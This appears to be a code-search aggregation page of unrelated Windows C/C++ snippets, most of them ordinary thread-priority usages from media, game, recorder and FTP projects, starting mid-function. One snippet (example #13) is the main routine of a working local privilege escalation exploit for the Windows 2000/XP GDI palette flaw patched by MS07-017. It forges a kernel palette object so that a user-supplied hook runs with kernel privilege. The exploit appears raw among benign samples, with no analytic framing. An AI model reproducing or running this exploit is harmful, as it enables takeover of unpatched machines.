		total = (freq[0] + freq[1] + freq[2] + freq[3] + freq[4]);
	} while ((nums < 5) || (nums < 100) && ((abs(5 * (long)freq[0] - (long)total) < 5)
		|| (abs(5 * (long)freq[1] - (long)total) < 5) || (abs(5 * (long)freq[2] - (long)total) < 5)
		|| (abs(5 * (long)freq[3] - (long)total) < 5) || (abs(5 * (long)freq[4] - (long)total) < 5)
		));
	//?条件循环,以确保循环不少于5次,在大于5次后确保达到一定的精度后退出
	if (total / 5 != (total + 1) / 5)
	{
		//? 使数据收敛
		total++;
	}
	//? 恢复进程及线程的优先级别;
	SetPriorityClass(GetCurrentProcess(), priority_class);
	SetThreadPriority(GetCurrentThread(), thread_priority);
	return double(total) / 5.0 / 1000.0;
#endif
}
Пример #9
0
Файл: v4l.c Проект: bpowers/wine
HRESULT qcap_driver_run(Capture *capBox, FILTER_STATE *state)
{
    HANDLE thread;
    HRESULT hr;

    TRACE("%p -> (%p)\n", capBox, state); 

    if (*state == State_Running) return S_OK;

    EnterCriticalSection(&capBox->CritSect);

    capBox->stopped = 0;

    if (*state == State_Stopped)
    {
        *state = State_Running;
        if (!capBox->iscommitted++)
        {
            IMemAllocator * pAlloc = NULL;
            ALLOCATOR_PROPERTIES ap, actual;
            BaseOutputPin *out;

            ap.cBuffers = 3;
            if (!capBox->swresize)
                ap.cbBuffer = capBox->width * capBox->height;
            else
                ap.cbBuffer = capBox->outputwidth * capBox->outputheight;
            ap.cbBuffer = (ap.cbBuffer * capBox->bitDepth) / 8;
            ap.cbAlign = 1;
            ap.cbPrefix = 0;

            out = (BaseOutputPin *)capBox->pOut;
            hr = IMemInputPin_GetAllocator(out->pMemInputPin, &pAlloc);

            if (SUCCEEDED(hr))
                hr = IMemAllocator_SetProperties(pAlloc, &ap, &actual);

            if (SUCCEEDED(hr))
                hr = IMemAllocator_Commit(pAlloc);

            if (pAlloc)
                IMemAllocator_Release(pAlloc);

            TRACE("Committing allocator: %x\n", hr);
        }

        thread = CreateThread(NULL, 0, ReadThread, capBox, 0, NULL);
        if (thread)
        {
            capBox->thread = thread;
            SetThreadPriority(thread, THREAD_PRIORITY_LOWEST);
            LeaveCriticalSection(&capBox->CritSect);
            return S_OK;
        }
        ERR("Creating thread failed.. %u\n", GetLastError());
        LeaveCriticalSection(&capBox->CritSect);
        return E_FAIL;
    }

    ResumeThread(capBox->thread);
    *state = State_Running;
    LeaveCriticalSection(&capBox->CritSect);
    return S_OK;
}
Пример #10
0
BOOL CTextureProp::OnInitDialog() 
{
	char str[32];
	CWnd *pWnd;
	RECT rect;


	CDialog::OnInitDialog();

	m_bAllowChange = FALSE;	

	SetDlgItemInt(IDC_TEXTUREPROP_FLAGS, m_TextureFlags);

	SetCheckBox(IDC_PREFER16BIT,	m_bPrefer16Bit);
	SetCheckBox(IDC_NOSYSCACHE,		m_bNoSysCache);
	SetCheckBox(IDC_FULLBRITE,		m_bFullBrights);
	SetCheckBox(IDC_32BITSYSCOPY,	m_b32BitSysCopy);
	SetCheckBox(IDC_PREFER4444,		m_bPrefer4444);
	SetCheckBox(IDC_PREFER5551,		m_bPrefer5551);
	
	SetDlgItemInt(IDC_TEXTURE_GROUP, m_TextureGroup);

	SetDlgItemText(IDC_DTX_COMMAND_STRING2, m_CommandString);
	SetDlgItemInt(IDC_NUMBER_OF_MIPMAPS, (int)m_nMipmaps);
	SetDlgItemInt(IDC_DTX_NONS3TCMIPMAPOFFSET, (int)m_NonS3TCMipmapOffset);
	SetDlgItemInt(IDC_UIMIPMAPOFFSET, m_UIMipmapOffset);
	SetDlgItemInt(IDC_TEXTUREPRIORITY, m_TexturePriority);
	SetDlgItemInt(IDC_DETAILTEXTUREANGLE, m_DetailTextureAngle);

	sprintf(str, "%f", m_DetailTextureScale);
	SetDlgItemText(IDC_DETAILTEXTURESCALE, str);


	m_bAllowChange = TRUE;

	// Move us into the upper-left corner.
	GetWindowRect(&rect);
	MoveWindow(0, 0, rect.right-rect.left, rect.bottom-rect.top, TRUE);

	SetupBPPIdent();

	// Create the preview window?
	if(m_pPreviewTexture)
	{					
		g_pTexturePropDlg = this;

		// Close the preview thread if it's previously been opened
		if (m_hPreviewThread)
		{
			SetEvent(m_heventPreviewSync);
			WaitForSingleObject(m_hPreviewThread, INFINITE);
			CloseHandle(m_hPreviewThread);
			ResetEvent(m_heventPreviewSync);
		}

		m_hPreviewThread = CreateThread(NULL, 0, PreviewThreadFn, this, 0, (unsigned long *)&m_PreviewThreadID);
		// Wait until the thread says it's done with the dialog pointer
		WaitForSingleObject(m_heventPreviewSync, INFINITE);
		ResetEvent(m_heventPreviewSync);
		// Cut the thread's priority
		SetThreadPriority(m_hPreviewThread, THREAD_PRIORITY_LOWEST);
		SetFocus();
	}
	
	return TRUE;
}
Пример #11
0
int CSound::LoadInternal(const char* szFileName, DSBUFFERDESC* pDsbdesc, void* pData, unsigned long dwDataSize){

	CSoundLoader* pLoader;
	char errmsg[512];
	if(CS_E_OK!=this->GetLoaderInterface(&pLoader, szFileName, pData, dwDataSize)){
		wsprintf(errmsg, "Sound::%sの読み取りインターフェイス取得に失敗.\nファイルが存在するかもしくは対応形式か確認して下さい.", szFileName);
		::MessageBox(NULL, errmsg, "", MB_ICONEXCLAMATION|MB_OK|MB_TOPMOST);
		//FatalAppExit(0, errmsg);
		return CS_E_NOTFOUND;
	}
	if(CSL_E_OK != pLoader->QueryLoadFile(szFileName, pData, dwDataSize)){
		wsprintf(errmsg, "Sound::%sの読み取りに失敗.", szFileName);
		::MessageBox(NULL, errmsg, "", MB_ICONEXCLAMATION|MB_OK|MB_TOPMOST);
		//FatalAppExit(0, errmsg);
		return CS_E_UNEXP;
	}

	//初期化
	this->AddRef();
	this->UnInitialize();

	m_Loader = pLoader;

	if(!m_pPrimaryBuffer){		//プライマリバッファを取得する
		if(CS_E_OK!=GetPrimaryBuffer(&m_pPrimaryBuffer, DSBCAPS_CTRLVOLUME | DSBCAPS_CTRLPAN | DSBCAPS_PRIMARYBUFFER)) return CS_E_NULL_PRIMARY;
	}

	DSBUFFERDESC dsbdesc;
	zeroMem(&dsbdesc, sizeof(DSBUFFERDESC));
	dsbdesc.dwSize = sizeof(DSBUFFERDESC);

	//全体の長さとWFXの取得
	DWORD dwDataLength = m_Loader->GetDecodedLength();
	m_Loader->GetWaveFormatEx(&m_wfx);
	if(dwDataLength >= CS_LIMITLOADONMEMORY){//展開したときのサイズが1MB以上だったらストリーミング再生]
		//スレッド処理
		this->CloseStreamThread();
		m_hThreadMessageDispatchEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
		m_hThread = CreateThread(NULL, 0, this->StreamThread, (void*)this, CREATE_SUSPENDED, &m_dwThreadId);		//スレッド生成
		// スレッド優先を変更
		SetThreadPriority( m_hThread, THREAD_PRIORITY_NORMAL ); 
		// スレッド開始
		ResumeThread( m_hThread );
		WaitForSingleObject(m_hThreadMessageDispatchEvent, INFINITE);// スレッドメッセージキューが作成されるのを待つ

		m_isStreamFile = TRUE;

		//セカンダリバッファ
		{
			SAFE_RELEASE(m_pSecondaryBuffer);
			dsbdesc.dwFlags =	DSBCAPS_GETCURRENTPOSITION2|DSBCAPS_CTRLPOSITIONNOTIFY|
								DSBCAPS_GLOBALFOCUS|DSBCAPS_CTRLPAN|DSBCAPS_CTRLVOLUME|
								DSBCAPS_CTRLFREQUENCY|DSBCAPS_LOCSOFTWARE;

			if(pDsbdesc){
				dsbdesc.dwFlags = pDsbdesc->dwFlags;
				dsbdesc.guid3DAlgorithm = dsbdesc.guid3DAlgorithm;
			}
			dsbdesc.lpwfxFormat = &m_wfx;
			DWORD dwSize = m_wfx.nAvgBytesPerSec * m_dwBufferLengthSec / m_dwNotificationNum;
			dwSize -= dwSize % m_wfx.nBlockAlign;
			dsbdesc.dwBufferBytes = dwSize * m_dwNotificationNum;
			if(!CreateBuffer(&m_pSecondaryBuffer, &dsbdesc, NULL))	return CS_E_NOCANDO;

			m_dwOneSplittedBufferSize = dwSize;//区切られたバッファの1つのサイズ(バッファ全体はこれ*m_dwNotificationNum
		}

		//通知インターフェイス
#if !ENABLE_SOUND_POLLING
		{
			SAFE_RELEASE(m_pSoundNotify);
			if(FAILED(m_pSecondaryBuffer->QueryInterface(IID_IDirectSoundNotify, (void**)&m_pSoundNotify))){
				return CS_E_NOCANDO;
			}

			SAFE_GLOBALFREE(m_pDsbnotify);
			if(!(m_pDsbnotify = (DSBPOSITIONNOTIFY*)GlobalAlloc(GPTR, m_dwNotificationNum * sizeof(DSBPOSITIONNOTIFY)))){
				return CS_E_UNEXP;
			}

			m_pNotifyHandle = CreateEvent(NULL, FALSE, FALSE, NULL);	//通知ハンドルの作成
			for(DWORD i=0; i<m_dwNotificationNum; i++){
				//OutputDebugStringFormatted("[%2lu]:%lu\n", i, (m_dwOneSplittedBufferSize*i) + 1);
				m_pDsbnotify[i].dwOffset     = (m_dwOneSplittedBufferSize*i) + 1;// バッファを分割する。通知ポイントは、バッファの区切れ目から1バイト先。こうすることで、スペックの低いマシンでも249ms以内に次のバッファ区間を埋めればよいことになる。
				m_pDsbnotify[i].hEventNotify = m_pNotifyHandle;
			}
			if(FAILED(m_pSoundNotify->SetNotificationPositions(m_dwNotificationNum, m_pDsbnotify))){
				SAFE_GLOBALFREE(m_pDsbnotify);
				SAFE_RELEASE(m_pSoundNotify);
				SAFE_CLOSEHANDLE(m_pNotifyHandle);
				return CS_E_NOCANDO;
			}
		}
#endif
	}else{
		m_isStreamFile = FALSE;

		void* pdata = NULL;
		if(CSL_E_OK != m_Loader->GetDecodedData(&pdata, 0, 0, FALSE)){
		}

		dsbdesc.dwFlags =	DSBCAPS_CTRLPAN|DSBCAPS_CTRLVOLUME|
							DSBCAPS_CTRLFREQUENCY|
							DSBCAPS_GETCURRENTPOSITION2|DSBCAPS_CTRLPOSITIONNOTIFY|
							DSBCAPS_GLOBALFOCUS;
		if(pDsbdesc){
			dsbdesc.dwFlags = pDsbdesc->dwFlags;
			dsbdesc.guid3DAlgorithm = dsbdesc.guid3DAlgorithm;
		}
		dsbdesc.dwBufferBytes = dwDataLength;
		dsbdesc.lpwfxFormat = &m_wfx;

		SAFE_RELEASE(m_pSecondaryBuffer);
		if(!CreateBuffer(&m_pSecondaryBuffer, &dsbdesc, NULL)) return CS_E_NOCANDO;		//セカンダリバッファの作成
		if(!WriteDataToBuffer(&m_pSecondaryBuffer, pdata, 0, dwDataLength))	return CS_E_NOCANDO;		//データをバッファに書き込む
		
		SAFE_GLOBALFREE(pdata);
	}
	SAFE_RELEASE(m_pPrimaryBuffer);
	return CS_E_OK;
}
Пример #12
0
DWORD CBaseSplitterFilter::ThreadProc()
{
    if (m_pSyncReader) {
        m_pSyncReader->SetBreakEvent(GetRequestHandle());
    }

    if (!DemuxInit()) {
        for (;;) {
            DWORD cmd = GetRequest();
            if (cmd == CMD_EXIT) {
                CAMThread::m_hThread = nullptr;
            }
            Reply(S_OK);
            if (cmd == CMD_EXIT) {
                return 0;
            }
        }
    }

    m_eEndFlush.Set();
    m_fFlushing = false;

    for (DWORD cmd = DWORD_ERROR; ; cmd = GetRequest()) {
        if (cmd == CMD_EXIT) {
            m_hThread = nullptr;
            Reply(S_OK);
            return 0;
        }

        SetThreadPriority(m_hThread, m_priority = THREAD_PRIORITY_NORMAL);

        m_rtStart = m_rtNewStart;
        m_rtStop = m_rtNewStop;

        DemuxSeek(m_rtStart);

        if (cmd != DWORD_ERROR) {
            Reply(S_OK);
        }

        m_eEndFlush.Wait();

        m_pActivePins.RemoveAll();

        POSITION pos = m_pOutputs.GetHeadPosition();
        while (pos && !m_fFlushing) {
            CBaseSplitterOutputPin* pPin = m_pOutputs.GetNext(pos);
            if (pPin->IsConnected() && pPin->IsActive()) {
                m_pActivePins.AddTail(pPin);
                pPin->DeliverNewSegment(m_rtStart, m_rtStop, m_dRate);
            }
        }

        do {
            m_bDiscontinuitySent.RemoveAll();
        } while (!DemuxLoop());

        pos = m_pActivePins.GetHeadPosition();
        while (pos && !CheckRequest(&cmd)) {
            m_pActivePins.GetNext(pos)->QueueEndOfStream();
        }
    }
    UNREACHABLE_CODE(); // we should only exit via CMD_EXIT
#pragma warning(pop)
}
Пример #13
0
int main(int argc, char *argv[])
{    
    SECTION_BASIC_INFORMATION SectionInfo;    
    PGDI_TABLE_ENTRY pGdiEntry;
    PLOGPALETTE pLogPal;
    HANDLE hPal;
    PVOID OriginalPalObject;
    PVOID FalsePalObject; 
       
    HANDLE hThread = GetCurrentThread();  
    DWORD OriginalThreadPriotity = GetThreadPriority (hThread);  
    HANDLE hSection = (ULONG)0;  
    PVOID MapFile = 0;
    HANDLE hProcess = (HANDLE)0xFFFFFFFF;
    WORD Pid = GetCurrentProcessId();                 
                  
   	NtQuerySection = (NTQUERYSECTION)GetProcAddress(LoadLibrary( "ntdll.dll"),"NtQuerySection");
         
    printf ("##########################################################\n");                
    printf ("# GDI Local Elevation of Privilege Vulnerability Exploit #\n");
    printf ("#        All Windows 2000/XP before MS07-017 patch       #\n");
    printf ("##########################################################\n");   
    printf ("# coded by Lionel d'Hauenens   http://www.labo-asso.com  #\n");
    printf ("##########################################################\n\n");                                     
                                                      
    // Search handle section and mapper in virtual memory of user
    while ((DWORD)hSection<0xFFFF) 
    {
        SectionInfo.Attributes = 0;  
        MapFile = MapViewOfFile((HANDLE)hSection, FILE_MAP_ALL_ACCESS, 0, 0, 0); 
        if (MapFile)
        {
            NtQuerySection((HANDLE)hSection,0,&SectionInfo,sizeof(SectionInfo),0);
            if (SectionInfo.Attributes == SEC_COMMIT) break;  // For compatibility with win2k 
            UnmapViewOfFile(MapFile); 
            MapFile = 0;
        }                
        hSection++;
    }

    if (!MapFile)
    {
       printf ("Could not found shared section !\n");
       exit(0);             
    }              

    // Create Palette
    pLogPal = (PLOGPALETTE) calloc (sizeof(LOGPALETTE)+sizeof(PALETTEENTRY), 1);    
    pLogPal->palNumEntries = 1;
    pLogPal->palVersion = 0x300;
    hPal = (HANDLE)CreatePalette(pLogPal);  
    
    if (!hPal)
    {
       printf ("Could not create palette !\n");
       exit(0);             
    }      
    
    // Search the entry of pal object 
    OriginalPalObject = (PVOID)0;        
    pGdiEntry = (PGDI_TABLE_ENTRY)MapFile;
    while ((DWORD)pGdiEntry < ((DWORD)MapFile) + SectionInfo.Size.QuadPart)
    {
          if ( pGdiEntry->ProcessID == Pid  &&
                  pGdiEntry->nType == PAL_TYPE )
          {
              // Save original pointer
              OriginalPalObject =  (PVOID)pGdiEntry->pKernelInfo;                          
              break;
          }           
          pGdiEntry++;          
    }

    if (!OriginalPalObject)
    {
       printf ("Could not find entry of Pal object !\n");
       exit(0);                  
    }  
    
    // Create the false Pal object
    FalsePalObject                   = (PVOID) calloc(0x100/4,4);
    ((PDWORD)FalsePalObject)[0]      = (DWORD)hPal;   // Handle    
    ((PDWORD)FalsePalObject)[0x14/4] = (DWORD) 1;     // Availabled flag
    ((PVOID*)FalsePalObject)[0x3C/4] = (PVOID) &hook; // Interface GetNearestPaletteIndex 
  
    printf ("Section:\n--------\n");                                                             
    printf ("Handle: 0x%08X    Attributes: %08X    Size: 0x%08X\n\n", hSection
                                                                    , SectionInfo.Attributes
                                                                    , SectionInfo.Size.QuadPart);
    printf ("Pointer of original pal object: 0x%08X\n", OriginalPalObject); 
    printf ("Address of user map: 0x%08X\n", MapFile); 
    printf ("Pointer of false pal object: 0x%08X\n", FalsePalObject);  
    printf ("Entry of GDI palette in user view: 0x%08X\n", MapFile+((((ULONG)hPal) & 0xFFFF)*sizeof(GDI_TABLE_ENTRY)) );     
    printf ("Address of Hook(): 0x%08X\n\n", &hook);  

    //////////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////////  
    printf ("->Test...");
    flag_test = 0;            
    SetThreadPriority (hThread, THREAD_PRIORITY_HIGHEST); 
         
         // Active false Pal object    
         pGdiEntry->pKernelInfo = FalsePalObject;   
                 
              GetNearestPaletteIndex (hPal, 0); //--> call hook() with kernel privilege :);
             
         // Restore original Pal object
         pGdiEntry->pKernelInfo = OriginalPalObject; 
    
    SetThreadPriority (hThread,OriginalThreadPriotity);
    //////////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////////
    
    if (!flag_test) printf ("ERROR !!!\n");
    else printf ("OK :)\n");

    UnmapViewOfFile(MapFile);
    DeleteObject ((HANDLE)hPal);
    free((PVOID)pLogPal);
    free((PVOID)FalsePalObject);  
    system("PAUSE");          
    return (0);         
}
Пример #14
0
int di_init()
{
    HRESULT hr;

	 return 0;


    /*
     *  Register with the DirectInput subsystem and get a pointer
     *  to a IDirectInput interface we can use.
     *
     *  Parameters:
     *
     *      g_hinst
     *
     *          Instance handle to our application or DLL.
     *
     *      DIRECTINPUT_VERSION
     *
     *          The version of DirectInput we were designed for.
     *          We take the value from the <dinput.h> header file.
     *
     *      &g_pdi
     *
     *          Receives pointer to the IDirectInput interface
     *          that was created.
     *
     *      NULL
     *
     *          We do not use OLE aggregation, so this parameter
     *          must be NULL.
     *
     */
    hr = DirectInputCreate(GetModuleHandle(NULL), 0x300, &Di_object, NULL);

    if (FAILED(hr)) {
        mprintf(( "DirectInputCreate failed!\n" ));
        return FALSE;
    }

    /*
     *  Obtain an interface to the system keyboard device.
     *
     *  Parameters:
     *
     *      GUID_SysKeyboard
     *
     *          The instance GUID for the device we wish to access.
     *          GUID_SysKeyboard is a predefined instance GUID that
     *          always refers to the system keyboard device.
     *
     *      &g_pKeyboard
     *
     *          Receives pointer to the IDirectInputDevice interface
     *          that was created.
     *
     *      NULL
     *
     *          We do not use OLE aggregation, so this parameter
     *          must be NULL.
     *
     */
    hr = Di_object->CreateDevice(GUID_SysKeyboard, &Di_keyboard, NULL);

    if (FAILED(hr)) {
        mprintf(( "CreateDevice failed!\n" ));
        return FALSE;
    }

    /*
     *  Set the data format to "keyboard format".
     *
     *  A data format specifies which controls on a device we
     *  are interested in, and how they should be reported.
     *
     *  This tells DirectInput that we will be passing an array
     *  of 256 bytes to IDirectInputDevice::GetDeviceState.
     *
     *  Parameters:
     *
     *      c_dfDIKeyboard
     *
     *          Predefined data format which describes
     *          an array of 256 bytes, one per scancode.
     */
    hr = Di_keyboard->SetDataFormat(&c_dfDIKeyboard);

    if (FAILED(hr)) {
        mprintf(( "SetDataFormat failed!\n" ));
        return FALSE;
    }


    /*
     *  Set the cooperativity level to let DirectInput know how
     *  this device should interact with the system and with other
     *  DirectInput applications.
     *
     *  Parameters:
     *
     *      DISCL_NONEXCLUSIVE
     *
     *          Retrieve keyboard data when acquired, not interfering
     *          with any other applications which are reading keyboard
     *          data.
     *
     *      DISCL_FOREGROUND
     *
     *          If the user switches away from our application,
     *          automatically release the keyboard back to the system.
     *
     */
	hr = Di_keyboard->SetCooperativeLevel((HWND)os_get_window(), DISCL_NONEXCLUSIVE | DISCL_FOREGROUND);

	if (FAILED(hr)) {
		mprintf(( "SetCooperativeLevel failed!\n" ));
		return FALSE;
	}

	DIPROPDWORD hdr;

	// Turn on buffering
	hdr.diph.dwSize = sizeof(DIPROPDWORD);
	hdr.diph.dwHeaderSize = sizeof(DIPROPHEADER);
	hdr.diph.dwObj = 0;
	hdr.diph.dwHow = DIPH_DEVICE;	// Apply to entire device
	hdr.dwData = 16;	//MAX_BUFFERED_KEYBOARD_EVENTS;

	hr = Di_keyboard->SetProperty( DIPROP_BUFFERSIZE, &hdr.diph );
	if (FAILED(hr)) {
		mprintf(( "SetProperty DIPROP_BUFFERSIZE failed\n" ));
		return FALSE;
	}


	Di_event = CreateEvent( NULL, FALSE, FALSE, NULL );
	Assert(Di_event != NULL);

	Di_thread = CreateThread(NULL, 1024, (LPTHREAD_START_ROUTINE)di_process, NULL, 0, &Di_thread_id);
	Assert( Di_thread != NULL );

	SetThreadPriority(Di_thread, THREAD_PRIORITY_HIGHEST);

	hr = Di_keyboard->SetEventNotification(Di_event);
	if (FAILED(hr)) {
		mprintf(( "SetEventNotification failed\n" ));
		return FALSE;
	}

	Di_keyboard->Acquire();

	return TRUE;
}
Пример #15
0
DWORD FAR PASCAL CController::RunController(CController* pController)
{
	if ( !pController )
		return 0;

	VARIANT_BOOL fIsSupported;
	pController->m_pGame->get_IsSupported(&fIsSupported);
	if ( fIsSupported==VARIANT_FALSE ) {
		MessageBox(pController->m_hParentWnd, "This game is not supported by Visual PinMAME", "Failed to start", MB_ICONINFORMATION|MB_OK);
		return 1;
	}

	g_fHandleMechanics = pController->m_iHandleMechanics;
	g_fHandleKeyboard  = pController->m_fHandleKeyboard;
	g_fMechSamples = pController->m_fMechSamples;

	// Load the game specific settings
	LoadGameSettings(pController->m_szROM);

	// set some options for the mamew environment
	// set_option("window", "1", 0);
	set_option("resolution", "1x1x16", 0);
	set_option("debug_resolution", "640x480x16", 0);
	set_option("maximize", "0", 0);
	set_option("throttle", "1", 0);
	set_option("sleep", "1", 0);
	set_option("autoframeskip", "0", 0);
	set_option("skip_gameinfo", "1", 0);
	set_option("skip_disclaimer", "1", 0);
	set_option("keepaspect", "0", 0);

	VARIANT fHasSound;
	VariantInit(&fHasSound);
	pController->m_pGameSettings->get_Value(CComBSTR("sound"), &fHasSound);
	if (fHasSound.boolVal==VARIANT_FALSE)
		options.samplerate = 0; // indicates game sound disabled

#ifndef DEBUG
	void* pSplashWnd = NULL;
	if(!cabinetMode)
	// display the splash screen
	CreateSplashWnd(&pSplashWnd, pController->m_szSplashInfoLine);
#endif

	// set the global pointer to Controller
	m_pController = pController;

	g_fPause = 0;

	int iSyncLevel = synclevel;
	if ( iSyncLevel<0 )
		iSyncLevel = 0;
	else if ( iSyncLevel>60 )
		iSyncLevel = 60;

	if ( iSyncLevel ) {
		if ( iSyncLevel<=20 )
			g_iSyncFactor = 1024;
		else
			g_iSyncFactor = (int) (1024.0*(iSyncLevel/60.0));

		g_hEnterThrottle = CreateEvent(NULL, false, true, NULL);
	}
#ifndef DEBUG
	else {
		// just in case
		g_iSyncFactor = 0;
		g_hEnterThrottle = INVALID_HANDLE_VALUE;

		switch ( threadpriority ) {
			case 1:
				SetThreadPriority(pController->m_hThreadRun, THREAD_PRIORITY_ABOVE_NORMAL);
				break;
			case 2:
				SetThreadPriority(pController->m_hThreadRun, THREAD_PRIORITY_HIGHEST);
				break;
		}
	}
#endif

	vpm_game_init(pController->m_nGameNo);
	run_game(pController->m_nGameNo);
	vpm_game_exit(pController->m_nGameNo);

	if ( iSyncLevel ) {
		SetEvent(g_hEnterThrottle);
		CloseHandle(g_hEnterThrottle);
		g_hEnterThrottle = INVALID_HANDLE_VALUE;
		g_iSyncFactor = 0;
	}
	else
		SetThreadPriority(pController->m_hThreadRun, THREAD_PRIORITY_NORMAL);

	// fire the OnMachineStopped event
	OnStateChange(0);

	// reset the global pointer to Controller
	m_pController = NULL;

#ifndef DEBUG
	if(!cabinetMode)
	// destroy the splash screensync
		DestroySplashWnd(&pSplashWnd); 
#endif

	return 0;
}
Пример #16
0
//ファイル保存を開始する
//戻り値:
// TRUE(成功)、FALSE(失敗)
//引数:
// fileName				[IN]保存ファイル名
// overWriteFlag		[IN]同一ファイル名存在時に上書きするかどうか(TRUE:する、FALSE:しない)
// createSize			[IN]ファイル作成時にディスクに予約する容量
// saveFolder			[IN]使用するフォルダ一覧
// saveFolderSub		[IN]HDDの空きがなくなった場合に一時的に使用するフォルダ
BOOL CWriteTSFile::StartSave(
	wstring fileName,
	BOOL overWriteFlag,
	ULONGLONG createSize,
	vector<REC_FILE_SET_INFO>* saveFolder,
	vector<wstring>* saveFolderSub,
	int maxBuffCount
)
{
	if( Lock(L"StartSave") == FALSE ) return FALSE;
	BOOL ret = TRUE;

	this->exceptionErr = FALSE;
	this->buffOverErr = FALSE;
	this->maxBuffCount = maxBuffCount;

	if( saveFolder->size() == 0 ){
		UnLock();
		_OutputDebugString(L"CWriteTSFile::StartSave Err saveFolder 0");
		return FALSE;
	}
	
	if( this->outThread == NULL || this->fileList.size() == 0 ){
		this->writeTotalSize = 0;
		this->subRecFlag = FALSE;
		this->saveFileName = fileName;
		this->overWriteFlag = overWriteFlag;
		this->saveFolder = *saveFolder;
		this->saveFolderSub = *saveFolderSub;
		BOOL firstFreeChek = TRUE;
		for( size_t i=0; i<this->saveFolder.size(); i++ ){
			SAVE_INFO* item = new SAVE_INFO;
			if( this->saveFolder[i].writePlugIn.size() == 0 ){
				this->saveFolder[i].writePlugIn = L"Write_Default.dll";
			}
			wstring plugInPath = L"";
			GetModuleFolderPath(plugInPath);
			plugInPath += L"\\Write\\";
			plugInPath += this->saveFolder[i].writePlugIn.c_str();

			item->writeUtil = new CWritePlugInUtil;
			if(item->writeUtil->Initialize(plugInPath.c_str() ) == FALSE ){
				_OutputDebugString(L"CWriteTSFile::StartSave Err 3");
				SAFE_DELETE(item);
			}else{
				wstring folderPath = this->saveFolder[i].recFolder;
				if( CompareNoCase(this->saveFolder[i].writePlugIn, L"Write_Default.dll" ) == 0 ){
					//デフォルトの場合は空き容量をあらかじめチェック
					if( createSize > 0 ){
						if( ChkFreeFolder(createSize, this->saveFolder[i].recFolder) == FALSE ){
							if( GetFreeFolder(createSize, folderPath) == TRUE ){
								//空きなかったのでサブフォルダに録画
								this->subRecFlag = TRUE;
							}
						}
					}
				}
				ChkFolderPath(folderPath);

				wstring recPath;
				recPath = folderPath;
				recPath += L"\\";
				if( this->saveFolder[i].recFileName.size() == 0 ){
					recPath += fileName;
					item->recFileName = fileName;
				}else{
					recPath += this->saveFolder[i].recFileName;
					item->recFileName = this->saveFolder[i].recFileName;
				}
				//開始
				BOOL startRes = item->writeUtil->StartSave(recPath.c_str(), this->overWriteFlag, createSize);
				if( startRes == FALSE ){
					_OutputDebugString(L"CWriteTSFile::StartSave Err 2");
					//エラー時サブフォルダでリトライ
					if( GetFreeFolder(createSize, folderPath) == TRUE ){
						//空きなかったのでサブフォルダに録画
						this->subRecFlag = TRUE;
					}
					ChkFolderPath(folderPath);
					recPath = folderPath;
					recPath += L"\\";
					if( this->saveFolder[i].recFileName.size() == 0 ){
						recPath += fileName;
						item->recFileName = fileName;
					}else{
						recPath += this->saveFolder[i].recFileName;
						item->recFileName = this->saveFolder[i].recFileName;
					}
					startRes = item->writeUtil->StartSave(recPath.c_str(), this->overWriteFlag, createSize);
				}
				if( startRes == TRUE ){
					WCHAR saveFilePath[512] = L"";
					DWORD saveFilePathSize = 512;
					item->writeUtil->GetSaveFilePath(saveFilePath, &saveFilePathSize);

					item->recFilePath = saveFilePath;
					item->freeChk = firstFreeChek;
					item->overWriteFlag = overWriteFlag;
					this->fileList.push_back(item);
					if( i==0 ){
						this->mainSaveFilePath = saveFilePath;
					}
					firstFreeChek = FALSE;
				}else{
					SAFE_DELETE(item);
				}
			}
		}

		if( this->fileList.size() > 0 ){
			//受信スレッド起動
			ResetEvent(this->outStopEvent);
			this->outThread = (HANDLE)_beginthreadex(NULL, 0, OutThread, (LPVOID)this, CREATE_SUSPENDED, NULL);
			SetThreadPriority( this->outThread, THREAD_PRIORITY_NORMAL );
			ResumeThread(this->outThread);
		}else{
			_OutputDebugString(L"CWriteTSFile::StartSave Err fileList 0");
			ret = FALSE;
		}
	}else{
		_OutputDebugString(L"CWriteTSFile::StartSave Err 1");
		ret = FALSE;
	}

	UnLock();
	return ret;
}
Пример #17
0
int WINAPI
WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    SOCKET sockfd;
    SOCKADDR_IN my_addr;
    SOCKADDR_IN your_addr;
    HANDLE thread;
    int i, sin_size, ret;

    parse_command_line(lpCmdLine);

    if (init_server() != 0)
        return 1;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd == -1)
    {
        WSACleanup();
        return 1;
    }

    my_addr.sin_family = AF_INET;
    my_addr.sin_addr.s_addr = INADDR_ANY;
    my_addr.sin_port = htons(ftp_control_port);
    memset(my_addr.sin_zero, 0, sizeof(my_addr.sin_zero));

    if (bind(sockfd, (SOCKADDR *) &my_addr, sizeof(my_addr)) == -1 ||
        listen(sockfd, MAX_SESSION) == -1)
    {
        closesocket(sockfd);
        WSACleanup();
        return 1;
    }

    for (;;)
    {
        do
        {
            fd_set readfds;
            TIMEVAL t;

            i = get_session_slot();

            FD_ZERO(&readfds);
            FD_SET(sockfd, &readfds);
            t.tv_sec = 1;
            t.tv_usec = 0;

            ret = select(0, &readfds, NULL, NULL, &t);

        } while (!terminated && ret == 0);

        if (terminated)
            break;

        sin_size = sizeof(your_addr);
        session[i].control = accept(sockfd, (SOCKADDR *) &your_addr, &sin_size);
        session[i].host = ntohl(your_addr.sin_addr.s_addr);
        session[i].sid = i;

        thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) manage_ftp_session,
                (void *) &session[i], 0, (DWORD *) &session[i].running);
        SetThreadPriority(thread, THREAD_PRIORITY_LOWEST);
    }

    closesocket(sockfd);
    WSACleanup();
    return 0;
}
Пример #18
0
//--------------------------------------------------------------------
// MainWndProc - 主視窗函式
//--------------------------------------------------------------------
LONG APIENTRY MainWndProc (HWND hWnd, UINT message,
                           UINT wParam, LONG lParam)
{
int    i;
DWORD  ThreadID[5];
static HMENU  hMenu;
static HANDLE hMasterThread;
static DWORD  ThreadArg[5] = {HIGHEST_THREAD,    // 0x00
                              ABOVE_AVE_THREAD,  // 0x3F
                              NORMAL_THREAD,     // 0x7F
                              BELOW_AVE_THREAD,  // 0xBF
                              LOWEST_THREAD      // 0xFF
                             };    // 用來調整四方形顏色

 switch (message) {
   case WM_CREATE:
      hMenu = GetMenu (hWnd);

      // 取得 primary thread handle 並設為最高 priority
      hMasterThread = GetCurrentThread();
      SetThreadPriority(hMasterThread, THREAD_PRIORITY_HIGHEST);

